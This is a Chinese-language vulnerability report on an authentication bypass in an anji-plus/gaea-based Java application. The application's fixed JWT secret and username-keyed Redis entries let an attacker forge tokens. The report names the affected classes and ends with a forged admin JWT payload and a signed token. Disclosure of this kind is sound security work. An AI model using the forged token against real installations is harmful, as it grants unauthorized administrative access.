report
report copied to clipboard
身份验证绕过漏洞
This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): 身份验证绕过漏洞
漏洞描述
程序使用固定的 JWT 密钥,存储的 Redis 密钥使用用户名格式字符。 任何在一小时内登录的用户。 可以用他的用户名伪造 JWT Token 以绕过身份验证
登录接口
com.anjiplus.template.gaea.business.modules.accessuser.controller.AccessUserController#login
使用用户名创建格式化字符作为 Redis 存储的键值使用,虽然使用了 uuid 但 uuid 并没有参与到身份验证中。
com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login
com.anjiplus.template.gaea.business.constant.BusinessConstant#GAEA_SECURITY_LOGIN_TOKEN
使用了固定的 JWT 密钥
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.utils.JwtBean#createToken
spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.GaeaProperties.Security#getJwtSecret
在 TokenFilter 中进行身份验证
com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter
通过修改 "username" 字段来伪造不同用户的Token
{
"type": 0,
"uuid": "",
"tenant": "tenantCode",
"username": "admin"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiIiwidGVuYW50IjoidGVuYW50Q29kZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ce3xqqUypEinA_ZCSky9AptKjkG8qFm8ESMuCunqe6Y